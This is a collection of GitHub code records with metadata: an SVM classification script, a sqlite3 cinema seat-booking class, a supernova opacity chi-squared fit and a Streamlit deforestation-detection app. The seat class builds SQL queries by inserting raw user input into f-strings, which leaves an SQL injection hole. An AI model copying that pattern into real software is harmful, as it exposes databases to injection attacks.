"paypal.standard.models.ST_PP_PENDING", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.settings.PAYPAL_RECEIVER_EMAIL", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "cart.models", "line_number": 27, "usage_type": "name"}, {"api_name": "cart.models.Cart.objects.get", "line_number": 27, "usage_type": "call"}, {"api_name": "cart.models.Cart.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cart.models.Cart", "line_number": 27, "usage_type": "name"}, {"api_name": "cart.models.total", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 28, "usage_type": "name"}, {"api_name": "models.PaymentMethod.objects.get", "line_number": 30, "usage_type": "call"}, {"api_name": "models.PaymentMethod.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "models.PaymentMethod", "line_number": 30, "usage_type": "name"}, {"api_name": "cart.models.invoice", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 31, "usage_type": "name"}, {"api_name": "models.Invoice", "line_number": 41, "usage_type": "call"}, {"api_name": "cart.models.invoice", "line_number": 62, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 62, "usage_type": "name"}, {"api_name": "cart.models.save", "line_number": 63, "usage_type": "call"}, {"api_name": "cart.models", "line_number": 63, "usage_type": "name"}, {"api_name": "models.Payment", "line_number": 64, "usage_type": "call"}, {"api_name": "cart.models.invoice", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 64, "usage_type": "name"}, {"api_name": "cart.models.process_purchase", "line_number": 68, "usage_type": "call"}, {"api_name": "cart.models", "line_number": 68, "usage_type": "name"}, {"api_name": "utils.send_cart_emails", "line_number": 69, "usage_type": "call"}, {"api_name": "cart.models", "line_number": 69, "usage_type": "argument"}, {"api_name": "django.dispatch.receiver", "line_number": 10, "usage_type": "call"}, {"api_name": "paypal.standard.ipn.signals.valid_ipn_received", "line_number": 10, "usage_type": "argument"}, {"api_name": "django.dispatch.receiver", "line_number": 74, "usage_type": "call"}, {"api_name": "paypal.standard.ipn.signals.invalid_ipn_received", "line_number": 74, "usage_type": "argument"}]} +{"seq_id": "28272881304", "text": "\"\"\"\r\nImport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import precision_score\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.svm import SVC\r\n\r\ndata = pd.read_csv(r\"prueba_5.csv\") # archivo a procesar\r\nprint('\\n\\nDatos cargados correctamente!')\r\ndata.head()\r\ndataset = pd.DataFrame(data)\r\n# Seleccionamos las columnas\r\nX = dataset.drop(['hora_ideal'], axis=1)\r\n# Se deine los datos correspondientes a la etiqueta\r\ny = dataset[\"hora_ideal\"]\r\n\r\n# # IMPLEMENTACIÓN DE ÁRBOLES DE DECISIÓN CLASIFICACIÓN ##\r\n# Separo los datos de \"train\" en entrenamiento y prueba para probar los algoritmos\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n# Defino el algoritmo a utilizar\r\n\r\nalgoritmo = SVC(kernel='linear', C=0.5)\r\n# Entreno el modelo\r\nalgoritmo.fit(X_train, y_train)\r\n\r\n# Realiso una predicción\r\ny_pred = algoritmo.predict(X_test)\r\n\r\n# Verifico la matriz de confusión\r\nprint('Accuracy of K-NN classifier on training set: {:.2f}'\r\n .format(algoritmo.score(X_train, y_train)))\r\nprint('Accuracy of K-NN classifier on test set: {:.2f}'\r\n .format(algoritmo.score(X_test, y_test)))\r\n\r\nmatriz = confusion_matrix(y_test, y_pred)\r\nreport_class = classification_report(y_test, y_pred)\r\nprint(\"Matriz de confsión:\")\r\nprint(matriz)\r\nprint(\"Reporte de clasificación\")\r\nprint(report_class)\r\n# Calculo la precisión del modelo\r\nprecision = precision_score(y_test, y_pred, average='micro')\r\nprint(\"Precisión del modelo:\")\r\nprint(precision)\r\n\"\"\"\r\nfrom sklearn.model_selection import KFold\r\nimport pandas as pd\r\nfrom sklearn.svm import SVC\r\nimport matplotlib.pyplot as plt\r\nfrom mlxtend.plotting import plot_decision_regions\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.metrics import confusion_matrix\r\ndata = pd.read_csv(r\"prueba_5.csv\") # archivo a procesar\r\nprint('\\n\\nDatos cargados correctamente!')\r\ndata.head()\r\n\r\n# Creamos el modelo\r\ncv = KFold(n_splits=30) # Numero deseado de \"folds\" que haremos\r\naccuracies = list()\r\n\r\n# Parametros\r\n\"\"\"\r\nC : float, default=1.0\r\n Regularization parameter. The strength of the regularization is inversely proportional to C. \r\n Must be strictly positive. The penalty is a squared l2 penalty.\r\n\r\nkernel : {‘linear’, ‘poly’, ‘rbf’, ‘sigmoid’, ‘precomputed’}, default=’rbf’\r\n Specifies the kernel type to be used in the algorithm. It must be one of ‘linear’, ‘poly’, ‘rbf’, ‘sigmoid’, \r\n ‘precomputed’ or a callable. If none is given, ‘rbf’ will be used. If a callable is given it is used to pre-compute \r\n the kernel matrix from data matrices; that matrix should be an array of shape (n_samples, n_samples).\r\n\r\ndegree : int, default=3\r\n Degree of the polynomial kernel function (‘poly’). Ignored by all other kernels.\r\n\r\ngamma : {‘scale’, ‘auto’} or float, default=’scale’\r\n Kernel coefficient for ‘rbf’, ‘poly’ and ‘sigmoid’. \r\n if gamma='scale' (default) is passed then it uses 1 / (n_features * X.var()) as value of gamma,\r\n if ‘auto’, uses 1 / n_features.\r\n Changed in version 0.22: The default value of gamma changed from ‘auto’ to ‘scale’.\r\n\r\ncoef0 : float, default=0.0\r\n Independent term in kernel function. It is only significant in ‘poly’ and ‘sigmoid’.\r\n\r\nshrinking : bool, default=True\r\n Whether to use the shrinking heuristic. See the User Guide.\r\n\r\nprobability : bool, default=False\r\n Whether to enable probability estimates. This must be enabled prior to calling fit, will slow down that method \r\n as it internally uses 5-fold cross-validation, and predict_proba may be inconsistent with predict. \r\n Read more in the User Guide.\r\n\r\ntol : float, default=1e-3\r\n Tolerance for stopping criterion.\r\n\r\ncache_size : float, default=200\r\n Specify the size of the kernel cache (in MB).\r\n\r\nclass_weight : dict or ‘balanced’, default=None\r\n Set the parameter C of class i to class_weight[i]*C for SVC. If not given, all classes are supposed to have weight \r\n one. \r\n The “balanced” mode uses the values of y to automatically adjust weights inversely proportional to class \r\n frequencies in the input data as n_samples / (n_classes * np.bincount(y))\r\n\r\nverbose : bool, default=False\r\n Enable verbose output. Note that this setting takes advantage of a per-process runtime setting in libsvm that, \r\n if enabled, may not work properly in a multithreaded context.\r\n\r\nmax_iter : int, default=-1\r\n Hard limit on iterations within solver, or -1 for no limit.\r\n\r\ndecision_function_shape : {‘ovo’, ‘ovr’}, default=’ovr’\r\n Whether to return a one-vs-rest (‘ovr’) decision function of shape (n_samples, n_classes) as all other classifiers, \r\n or the original one-vs-one (‘ovo’) decision function of libsvm which has shape \r\n (n_samples, n_classes * (n_classes - 1) / 2). \r\n However, one-vs-one (‘ovo’) is always used as multi-class strategy. The parameter is ignored for binary \r\n classification.\r\n Changed in version 0.19: decision_function_shape is ‘ovr’ by default.\r\n New in version 0.17: decision_function_shape=’ovr’ is recommended.\r\n Changed in version 0.17: Deprecated decision_function_shape=’ovo’ and None.\r\n\r\nbreak_ties : bool, default=False\r\n If true, decision_function_shape='ovr', and number of classes > 2, predict will break ties according to the\r\n confidence values of decision_function; otherwise the first class among the tied classes is returned. \r\n Please note that breaking ties comes at a relatively high computational cost compared to a simple predict.\r\n New in version 0.22.\r\n\r\nrandom_state : int or RandomState instance, default=None\r\n Controls the pseudo random number generation for shuffling the data for probability estimates. \r\n Ignored when probability is False. Pass an int for reproducible output across multiple function calls. \r\n See Glossary.\r\n\"\"\"\r\n\r\nkernels = ['linear', 'poly', 'rbf', 'sigmoid']\r\ncs = [0.05, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\r\n\r\nfor k_v in kernels:\r\n for c_v in cs:\r\n fold_accuracy = []\r\n svm = SVC(kernel=k_v, C=c_v)\r\n\r\n for train_fold, valid_fold in cv.split(data):\r\n f_train = data.loc[train_fold]\r\n f_valid = data.loc[valid_fold]\r\n\r\n model = svm.fit(X=f_train.drop(['hora_ideal'], axis=1),\r\n y=f_train[\"hora_ideal\"])\r\n valid_acc = model.score(X=f_valid.drop(['hora_ideal'], axis=1),\r\n y=f_valid[\"hora_ideal\"]) # calculamos la precision con el segmento de validacion\r\n fold_accuracy.append(valid_acc)\r\n\r\n avg = sum(fold_accuracy) / len(fold_accuracy)\r\n accuracies.append(avg)\r\n # Mostramos los resultados obtenidos\r\n df = pd.DataFrame({\"Kernel\": k_v, \"C\": cs, \"Precision\": accuracies})\r\n df = df[[\"Kernel\", \"C\", \"Precision\"]]\r\n print(df.to_string(index=False))\r\n print('\\n\\nModelo creado satisfactoriamente!')\r\n accuracies.clear()\r\n\r\n\r\ndef svm_comparison(datas):\r\n X = datas.drop(['hora_ideal'], axis=1).values\r\n # Se deFine los datos correspondientes a la etiqueta\r\n y = datas[\"hora_ideal\"].values\r\n pca = PCA(n_components=2)\r\n X_train = pca.fit_transform(X)\r\n X_train2, X_test, y_train, y_test = train_test_split(X_train, y, test_size=0.2)\r\n clf = SVC(kernel='sigmoid', C=0.5)\r\n clf.fit(X_train2, y_train)\r\n y_pred = clf.predict(X_test)\r\n # Plotting decision region\r\n plt.figure(figsize=(8, 5), dpi=300)\r\n plot_decision_regions(X_train2, y_train, clf=clf, legend=2)\r\n # Adding axes annotations\r\n plt.xlabel('Características')\r\n plt.ylabel('Objetivo')\r\n plt.title(\"SVM:Límite de la región de decisión con 'kernel'= sigmoid y 'C' =0.5\")\r\n plt.legend(bbox_to_anchor=(1.05, 1.0), loc='upper left')\r\n plt.tight_layout()\r\n plt.savefig('SVM_Limit.png', dpi=300)\r\n\r\n matriz = confusion_matrix(y_test, y_pred)\r\n print(\"Matriz de confusión\")\r\n print(matriz)\r\n\r\n plt.show()\r\n\r\n\r\nX = data.drop(['hora_ideal'], axis=1)\r\ny = data[\"hora_ideal\"]\r\nalgoritmo = SVC(kernel='sigmoid', C=0.5)\r\n# Validación cruzada\r\nprint(\"Validadción cruzada\")\r\nscores = cross_val_score(algoritmo, X, y, cv=5)\r\nprint(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\r\n\r\nsvm_comparison(data)\r\n", "repo_name": "LuisPizarro04/AlgoritmosML", "sub_path": "SVM_ALG_FINAL.py", "file_name": "SVM_ALG_FINAL.py", "file_ext": "py", "file_size_in_byte": 8539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pandas.read_csv", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 142, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 157, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 168, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 170, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "mlxtend.plotting.plot_decision_regions", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "sklearn.svm.SVC", "line_number": 194, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 197, "usage_type": "call"}]} +{"seq_id": "31570329026", "text": "import sqlite3\r\n\r\n# Ask for user seat number\r\n# checks if seat is available\r\n# if available it will update database with taken\r\n\r\n\r\nclass Seat:\r\n \"\"\"Checks for seat number availability and removes from database if purchase\"\"\"\r\n\r\n def __init__(self):\r\n self.connection = sqlite3.connect(\"database/cinema.db\")\r\n self.cursor = self.connection.cursor()\r\n self.availability = 2\r\n self.price = 0\r\n self.input_seat_id = input(\"Preferred seat number: \").title()\r\n\r\n def get_seat_availability(self):\r\n \"\"\"returns 0 for available and 1 for taken\"\"\"\r\n self.cursor.execute(f'SELECT \"taken\" FROM \"Seat\" WHERE \"seat_id\" == \"{self.input_seat_id}\" ')\r\n try:\r\n self.availability = self.cursor.fetchone()[0]\r\n return self.availability\r\n except TypeError:\r\n print(\"Seat Availability error due to incorrect seat number!\")\r\n\r\n def seat_id(self):\r\n \"\"\"returns seat id number\"\"\"\r\n return self.input_seat_id\r\n\r\n def get_price(self):\r\n \"\"\"returns seat price\"\"\"\r\n self.cursor.execute(f'SELECT \"price\" FROM \"Seat\" WHERE \"seat_id\" == \"{self.input_seat_id}\"')\r\n try:\r\n self.price = self.cursor.fetchone()[0]\r\n return self.price\r\n except TypeError:\r\n return \"The seat number does not exist\"\r\n\r\n def is_available(self):\r\n \"\"\"returns True if seat is 0 for not-taken and updates database with 1 for taken\"\"\"\r\n self.get_seat_availability()\r\n try:\r\n if self.availability == 0:\r\n self.connection.execute(f'UPDATE \"Seat\" SET \"taken\" = 1 WHERE \"seat_id\" = \"{self.seat_id()}\" ')\r\n self.connection.commit()\r\n self.connection.close()\r\n return True\r\n except TypeError:\r\n print(\"Since seat does not exist, I cannot select\")\r\n return False\r\n\r\n def is_occupy(self):\r\n \"\"\"returns True if seat is 1 for taken\"\"\"\r\n if self.availability == 1:\r\n print(f\"Seat is Taken\")\r\n return True\r\n", "repo_name": "3lmkrew/cinema_ticket_booking", "sub_path": "seat.py", "file_name": "seat.py", "file_ext": "py", "file_size_in_byte": 2084, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sqlite3.connect", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "74655978198", "text": "'''\nintroduction of opacity as a parameter in chisquared while implicitly\nmarginalising over H0\n'''\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nfrom mpl_toolkits.mplot3d import Axes3D\nimport scipy.stats as st\nimport time\n#%%\n\nstart_t = time.perf_counter()\n\n\n# Read in Sne data as pandas dataframe\ndf = pd.read_excel('data\\\\SNe data.xlsx')\ndf = df.sort_values('z') # increasing z sort\n\n# define constants\nH0 = 73*10**3 # unimportant value here, marginalised over anyway\nc = 3 * 10**8\n\n# set up the model axis\nOm = np.linspace(0, 1, 500)\n\n#introduce opacity parameter\nepsil = np.linspace(-0.1,0.1,5)\n\n#z = np.linspace(0, 1.8, 100)\nz = np.linspace(np.min(df['z']), 1.8, 500)\ncount = np.linspace(0, len(z)-1, len(z)).astype(int)\ncount = list(count)\n\nz1000 = np.linspace(0, z, 1000) # inetrgal approximation axis\n\n# develop models for each Om, get it's theoretical M and chi^2\nk=0\n\nmodels_mu = np.zeros((len(df['z']), len(Om)))\nchisq_array = np.zeros(np.shape(np.meshgrid(epsil, Om)[0]))\n\n\nwhile k < len(epsil):\n #define opacity parameter for our desired z values\n tor = 2*epsil[k]*df['z']\n i=0\n while i < len(Om):\n # model from list comprehension\n combs = [1/np.sqrt(Om[i]*(1+z1000[:,j])**3 - Om[i] + 1) for j in count[:]]\n dl_sum = np.sum(combs, axis=1)\n dl_model = (c/H0)*(1+z)*z/1000 * dl_sum\n \n #dl_model[0] = dl_model[1] - (dl_model[2] - dl_model[1])\n \n # interpolate the values to match data size\n dl_model_interp = np.interp(x=df['z'], xp=z, fp=dl_model)\n \n # define theoretical absolute magnitude from these and use it for model in mu\n M = np.sum((df['mu'] - 5*np.log10(dl_model_interp)-2.5*tor*np.log10(np.exp(1))) / (df['dmu']**2)) / np.sum(1/(df['dmu']**2))\n mu_model_interp = 5*np.log10(dl_model_interp)-2.5*tor*np.log10(np.exp(1)) + M\n print(M)\n # get chi^2 value for this Om and save to its array\n chisq = np.sum(((mu_model_interp - df['mu'])**2/(df['dmu'])**2))\n chisq_array[i, k] = chisq\n \n models_mu[:, i] = mu_model_interp\n \n i += 1\n \n k+=1\n\n# plot chi^2 for the 5 different epsilon\nk =0\nfig = plt.figure()\nax = fig.gca()\nax.set_xlabel(r'$\\Omega_{m}$', fontsize=16)\nax.set_ylabel(r'$\\chi^2$', fontsize=16)\nplt.title('Chisquared for the given opacity parameters')\n\nwhile k < len(epsil):\n ax.plot(Om, chisq_array[:,k], label=rf'$\\epsilon={round(epsil[k], 2)}$')\n k+=1 \n\nax.legend()\n\nend_t = time.perf_counter()\nprint(f'time to run: {round(end_t - start_t, 5)} s')\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "MACIEK1JAREMA/Cosmic-Transparency", "sub_path": "Codes/Introducing opacity/First opacity attempt.py", "file_name": "First opacity attempt.py", "file_ext": "py", "file_size_in_byte": 2613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "time.perf_counter", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "time.perf_counter", "line_number": 88, "usage_type": "call"}]} +{"seq_id": "12821682703", "text": "import streamlit as st\r\nfrom patchify import patchify\r\nimport cv2 as cv\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nfrom keras.models import load_model\r\nimport base64\r\n\r\n\r\ndef callback():\r\n st.session_state.Button = True\r\n\r\n\r\n@st.cache_data(persist=True)\r\ndef getImageAsBase64(file):\r\n with open(file, \"rb\") as f:\r\n data = f.read()\r\n return base64.b64encode(data).decode()\r\n\r\n\r\ndef display():\r\n for i in range(len(st.session_state.image)):\r\n col1,col2 = st.columns(2)\r\n col1.write(\"\"\"

Original Image

\"\"\", unsafe_allow_html=True)\r\n col1.image(st.session_state.image[i])\r\n col2.write(\"\"\"

Mask Image

\"\"\", unsafe_allow_html=True)\r\n col2.image(st.session_state.mask_image[i])\r\n\r\n if st.session_state.predict[i] == 'Forest':\r\n st.write(f\"\"\"

\r\n Predicted Label : Forest Area

\"\"\",unsafe_allow_html=True)\r\n else:\r\n st.write(f\"\"\"

\r\n Predicted Label : Deforested Area

\"\"\",unsafe_allow_html=True)\r\n\r\n\r\nfile_path = '/content/drive/MyDrive/4th_Year/DSC4173/Project/'\r\nst.set_page_config(page_title=\"Detect Deforestration\",page_icon=\"🌴\",layout=\"wide\",initial_sidebar_state=\"expanded\")\r\nimg = getImageAsBase64(file_path + \"forest.jpg\")\r\nst.markdown(f\"\"\"\r\n \"\"\",unsafe_allow_html=True)\r\nst.write(\"\"\"

Detect Deforestration


\r\n

Faculty of Science
University of Peradeniya

\"\"\", unsafe_allow_html=True)\r\n\r\n\r\nif 'unet' not in st.session_state:\r\n st.session_state.unet = load_model(file_path + 'Unet_epoch_50')\r\nif 'cnn' not in st.session_state:\r\n st.session_state.cnn = load_model(file_path + 'ResNet_epoch_100')\r\nif 'image' not in st.session_state:\r\n st.session_state.image = []\r\nif 'mask_image' not in st.session_state:\r\n st.session_state.mask_image =[]\r\nif 'predict' not in st.session_state:\r\n st.session_state.predict = []\r\nif 'num_images_prev' not in st.session_state:\r\n st.session_state.num_images_prev = 0\r\n\r\n\r\nimages = st.file_uploader(\"Drag and drop image or images : \", accept_multiple_files=True, type = ['png','jpg'])\r\nnum_images_now = len(images)\r\n\r\nif 'Button' not in st.session_state:\r\n st.session_state.Button = False\r\n\r\nif images != []:\r\n if num_images_now != st.session_state.num_images_prev:\r\n submit = st.button(\"Submit\")\r\n\r\n if submit:\r\n st.session_state.mask_image =[]\r\n st.session_state.image = []\r\n st.session_state.predict = []\r\n time = 0\r\n\r\n for image in images:\r\n image = Image.open(image)\r\n image = np.array(image)\r\n patches = patchify(image, (256,256,3), step = 256)\r\n time = time + patches.shape[0]*patches.shape[1]\r\n \r\n st.write(f\"\"\"

\r\n Please wait {time//60}m {time % 60}s... Model is on process...

\"\"\",unsafe_allow_html=True)\r\n\r\n for image in images:\r\n image = Image.open(image)\r\n image = np.array(image)\r\n\r\n image_height = (image.shape[0]//256)*256\r\n image_width = (image.shape[1]//256)*256\r\n\r\n image = Image.fromarray(image)\r\n image = image.crop((0, 0, image_width, image_height))\r\n\r\n image = np.array(image)\r\n image = cv.cvtColor(image, cv.COLOR_BGR2RGB)\r\n\r\n st.session_state.image.append(image)\r\n patches = patchify(image, (256,256,3), step = 256)\r\n\r\n rows = patches.shape[0]\r\n cols = patches.shape[1]\r\n\r\n all_masks = []\r\n for row in range(rows):\r\n for col in range(cols):\r\n img_input = np.expand_dims((patches[row][col][0])/255, 0)\r\n predicted_mask = st.session_state.unet.predict(img_input)\r\n all_masks.append(predicted_mask)\r\n\r\n\r\n labels = []\r\n\r\n for img_input in all_masks:\r\n predict_label = st.session_state.cnn.predict(img_input)[0][0]\r\n labels.append(predict_label)\r\n labels = np.array(labels)\r\n label = sum(labels)/len(labels)\r\n\r\n if label >= 0.5:\r\n st.session_state.predict.append('Deforest')\r\n else:\r\n st.session_state.predict.append('Forest')\r\n\r\n\r\n full_mask_image = np.zeros((256*rows,256*cols,3))\r\n\r\n image_count = 0\r\n for row in range(rows):\r\n for col in range(cols):\r\n for channel in range(3):\r\n full_mask_image[row*256:(row+1)*256, col*256:(col+1)*256, channel] = all_masks[image_count][0][:,:,channel]*255\r\n image_count += 1\r\n\r\n full_mask_image = full_mask_image.astype('int')\r\n st.session_state.mask_image.append(full_mask_image)\r\n # st.session_state.Button = False\r\n st.session_state.num_images_prev = num_images_now\r\n st.experimental_rerun()\r\n else:\r\n display()\r\n", "repo_name": "PawaniPubudika/DetectDeforestration", "sub_path": "ML_Dashboard.py", "file_name": "ML_Dashboard.py", "file_ext": "py", "file_size_in_byte": 5903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "streamlit.session_state", "line_number": 12, "usage_type": "attribute"}, {"api_name": "base64.b64encode", "line_number": 19, "usage_type": "call"}, {"api_name": "streamlit.cache_data", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 23, "usage_type": "attribute"}, {"api_name": "streamlit.columns", "line_number": 24, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 26, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 28, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 30, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 34, "usage_type": "call"}, {"api_name": "streamlit.set_page_config", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 61, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 62, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 62, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 63, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 64, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 64, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 65, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 66, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 67, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 68, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 69, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 70, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 71, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 72, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 75, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 78, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 79, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 82, "usage_type": "attribute"}, {"api_name": "streamlit.button", "line_number": 83, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 86, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 87, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 88, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 92, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 92, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "patchify.patchify", "line_number": 94, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 97, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 101, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 101, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 107, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 107, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 111, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 111, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.image.append", "line_number": 113, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 113, "usage_type": "attribute"}, {"api_name": "patchify.patchify", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 122, "usage_type": "call"}, {"api_name": "streamlit.session_state.unet.predict", "line_number": 123, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 123, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.cnn.predict", "line_number": 130, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 130, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "streamlit.session_state.predict.append", "line_number": 136, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 136, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.predict.append", "line_number": 138, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 141, "usage_type": "call"}, {"api_name": "streamlit.session_state.mask_image.append", "line_number": 151, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 151, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 153, "usage_type": "attribute"}, {"api_name": "streamlit.experimental_rerun", "line_number": 154, "usage_type": "call"}]} +{"seq_id": "6802103090", "text": "import stock_strategy.BollBackDownLine as boll\nimport tools.TimeUtil as timeUtil\nfrom stock.BaseStock import BaseStock\nfrom stock_analysis.Avg import Avg\nfrom stock_analysis.Boll import Boll\n\n\nclass 